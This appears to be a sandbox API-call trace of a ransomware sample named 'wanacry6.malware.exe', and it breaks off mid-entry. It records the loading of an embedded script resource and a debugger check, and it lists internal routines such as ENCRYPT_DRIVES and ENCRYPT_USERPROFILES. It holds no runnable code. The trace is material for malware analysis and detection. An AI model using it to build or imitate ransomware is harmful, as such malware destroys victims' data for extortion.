(lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x32af65faa0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0052.535] GetFileType (hFile=0x14c) returned 0x1 [0052.535] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0052.535] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0052.535] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0052.535] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0052.535] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0052.535] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x32af65fd98 | out: ppstm=0x32af65fd98*=0x32af6d68f0) returned 0x0 [0052.539] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0052.540] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0052.540] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0052.540] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0052.540] ISequentialStream:RemoteWrite (in: This=0x32af6d68f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0052.540] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0052.540] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x32af65fc68 | out: plibNewPosition=0x32af65fc68) returned 0x0 [0052.540] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af6e0a30, cb=0x18, pcbRead=0x32af65fbb0 | out: pv=0x32af6e0a30*=0xa3, pcbRead=0x32af65fbb0*=0x18) returned 0x0 [0052.540] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x32af65fbb0 | out: plibNewPosition=0x32af65fbb0) returned 0x0 [0052.540] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65fc50, cb=0x4, pcbRead=0x32af65fbb0 | out: pv=0x32af65fc50*=0x45, pcbRead=0x32af65fbb0*=0x4) returned 0x0 [0052.540] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65fc80, cb=0x10, pcbRead=0x32af65fc50 | out: pv=0x32af65fc80*=0x4d, pcbRead=0x32af65fc50*=0x10) returned 0x0 [0052.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af65fb10 | out: lpSystemTimeAsFileTime=0x32af65fb10*(dwLowDateTime=0x5312895c, dwHighDateTime=0x1d31057)) [0052.541] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x32af65fce8 | out: plibNewPosition=0x32af65fce8) returned 0x0 [0052.541] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x32af65f5c0 | out: plibNewPosition=0x32af65f5c0) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f370, cb=0x4, pcbRead=0x32af65f340 | out: pv=0x32af65f370*=0x6b, pcbRead=0x32af65f340*=0x4) returned 0x0 [0052.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af65f200 | out: lpSystemTimeAsFileTime=0x32af65f200*(dwLowDateTime=0x5312895c, dwHighDateTime=0x1d31057)) [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f5d8, cb=0x4, pcbRead=0x32af65f340 | out: pv=0x32af65f5d8*=0xa6, pcbRead=0x32af65f340*=0x4) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f380, cb=0x34, pcbRead=0x32af65f340 | out: pv=0x32af65f380*=0xe1, pcbRead=0x32af65f340*=0x34) returned 0x0 [0052.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af65f200 | out: lpSystemTimeAsFileTime=0x32af65f200*(dwLowDateTime=0x5312b092, dwHighDateTime=0x1d31057)) [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f5d8, cb=0x4, pcbRead=0x32af65f340 | out: pv=0x32af65f5d8*=0x43, pcbRead=0x32af65f340*=0x4) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65fa90, cb=0xc6, pcbRead=0x32af65f340 | out: pv=0x32af65fa90*=0xcd, pcbRead=0x32af65f340*=0xc6) returned 0x0 [0052.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af65f200 | out: lpSystemTimeAsFileTime=0x32af65f200*(dwLowDateTime=0x5312b092, dwHighDateTime=0x1d31057)) [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65fcd0, cb=0x1, pcbRead=0x32af65f5c0 | out: pv=0x32af65fcd0*=0x0, pcbRead=0x32af65f5c0*=0x1) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f5f0, cb=0x4, pcbRead=0x32af65f5c0 | out: pv=0x32af65f5f0*=0xbc, pcbRead=0x32af65f5c0*=0x4) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f5f0, cb=0x4, pcbRead=0x32af65f5c0 | out: pv=0x32af65f5f0*=0xbc, pcbRead=0x32af65f5c0*=0x4) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af65f5f0, cb=0x4, pcbRead=0x32af65f5c0 | out: pv=0x32af65f5f0*=0x84, pcbRead=0x32af65f5c0*=0x4) returned 0x0 [0052.541] IStream:RemoteSeek (in: This=0x32af6d68f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x32af65f5c0 | out: plibNewPosition=0x32af65f5c0) returned 0x0 [0052.541] ISequentialStream:RemoteRead (in: This=0x32af6d68f0, pv=0x32af6e03f0, cb=0x0, pcbRead=0x32af65f5c0 | out: pv=0x32af6e03f0*=0x0, pcbRead=0x32af65f5c0*=0x0) returned 0x0 [0052.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af65f480 | out: lpSystemTimeAsFileTime=0x32af65f480*(dwLowDateTime=0x5312b092, dwHighDateTime=0x1d31057)) [0052.541] CloseHandle (hObject=0x14c) returned 1 [0052.541] IUnknown:Release (This=0x32af6d68f0) returned 0x0 [0052.542] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0052.542] IsDebuggerPresent () returned 0 [0052.542] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x32af63fd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0052.542] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0x32af63fd10, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0052.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0x32af63fcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0052.543] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0052.543] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0052.543] Wow64DisableWow64FsRedirection (in: OldValue=0x32af64fc40 | out: OldValue=0x32af64fc40*=0x0) returned 0 [0052.543] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0052.543] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x32af64fa10, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0052.543] GetFileType (hFile=0x14c) returned 0x1 [0052.543] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0052.544] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0052.544] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0052.544] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0052.544] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0052.545] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x32af64fcc0 | out: ppstm=0x32af64fcc0*=0x32af6d66f0) returned 0x0 [0052.545] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0052.545] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0052.545] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0052.545] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0052.545] ISequentialStream:RemoteWrite (in: This=0x32af6d66f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x32af64fbd8 | out: plibNewPosition=0x32af64fbd8) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af6e0ce0, cb=0x18, pcbRead=0x32af64fb20 | out: pv=0x32af6e0ce0*=0xa3, pcbRead=0x32af64fb20*=0x18) returned 0x0 [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x32af64fb20 | out: plibNewPosition=0x32af64fb20) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64fbc0, cb=0x4, pcbRead=0x32af64fb20 | out: pv=0x32af64fbc0*=0x45, pcbRead=0x32af64fb20*=0x4) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64fbf0, cb=0x10, pcbRead=0x32af64fbc0 | out: pv=0x32af64fbf0*=0x4d, pcbRead=0x32af64fbc0*=0x10) returned 0x0 [0052.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64fa80 | out: lpSystemTimeAsFileTime=0x32af64fa80*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x32af64fc58 | out: plibNewPosition=0x32af64fc58) returned 0x0 [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x32af64f530 | out: plibNewPosition=0x32af64f530) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f2e0, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f2e0*=0x6b, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f548, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f548*=0xa6, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f2f0, cb=0x34, pcbRead=0x32af64f2b0 | out: pv=0x32af64f2f0*=0xe1, pcbRead=0x32af64f2b0*=0x34) returned 0x0 [0052.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f548, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f548*=0x43, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64fa00, cb=0xc6, pcbRead=0x32af64f2b0 | out: pv=0x32af64fa00*=0xcd, pcbRead=0x32af64f2b0*=0xc6) returned 0x0 [0052.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0x32af64f2b0 | out: plibNewPosition=0x32af64f2b0) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f2e8, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f2e8*=0xbc, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.545] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0x32af64f2b0 | out: plibNewPosition=0x32af64f2b0) returned 0x0 [0052.545] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f2e0, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f2e0*=0x6b, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f548, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f548*=0xaf, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f2f0, cb=0x26, pcbRead=0x32af64f2b0 | out: pv=0x32af64f2f0*=0xe6, pcbRead=0x32af64f2b0*=0x26) returned 0x0 [0052.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f548, cb=0x4, pcbRead=0x32af64f2b0 | out: pv=0x32af64f548*=0x47, pcbRead=0x32af64f2b0*=0x4) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64fa00, cb=0xce, pcbRead=0x32af64f2b0 | out: pv=0x32af64fa00*=0xbf, pcbRead=0x32af64f2b0*=0xce) returned 0x0 [0052.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f170 | out: lpSystemTimeAsFileTime=0x32af64f170*(dwLowDateTime=0x53134ca0, dwHighDateTime=0x1d31057)) [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64fc40, cb=0x1, pcbRead=0x32af64f530 | out: pv=0x32af64fc40*=0x1, pcbRead=0x32af64f530*=0x1) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f560, cb=0x4, pcbRead=0x32af64f530 | out: pv=0x32af64f560*=0x28, pcbRead=0x32af64f530*=0x4) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f560, cb=0x4, pcbRead=0x32af64f530 | out: pv=0x32af64f560*=0x23, pcbRead=0x32af64f530*=0x4) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af64f560, cb=0x4, pcbRead=0x32af64f530 | out: pv=0x32af64f560*=0xf4, pcbRead=0x32af64f530*=0x4) returned 0x0 [0052.546] IStream:RemoteSeek (in: This=0x32af6d66f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x32af64f530 | out: plibNewPosition=0x32af64f530) returned 0x0 [0052.546] ISequentialStream:RemoteRead (in: This=0x32af6d66f0, pv=0x32af6e0ce0, cb=0x9394, pcbRead=0x32af64f530 | out: pv=0x32af6e0ce0*=0x6d, pcbRead=0x32af64f530*=0x9394) returned 0x0 [0052.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32af64f3f0 | out: lpSystemTimeAsFileTime=0x32af64f3f0*(dwLowDateTime=0x531373a0, dwHighDateTime=0x1d31057)) [0052.577] IUnknown:Release (This=0x32af6d66f0) returned 0x0 [0052.578] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0052.578] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0052.578] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0052.578] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0052.578] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0052.578] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0052.578] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0052.578] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0052.578] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0052.578] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0052.578] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0052.578] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0052.578] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0052.578] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0052.578] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0052.578] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0052.579] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0052.579] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0052.579] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0052.579] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0052.579] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0052.579] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0052.580] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0052.580] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0052.580] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0052.580] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0052.580] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0052.580] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0052.580] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0052.581] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0052.581] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0052.581] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0052.581] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0052.581] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0052.581] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0052.581] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0052.581] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", 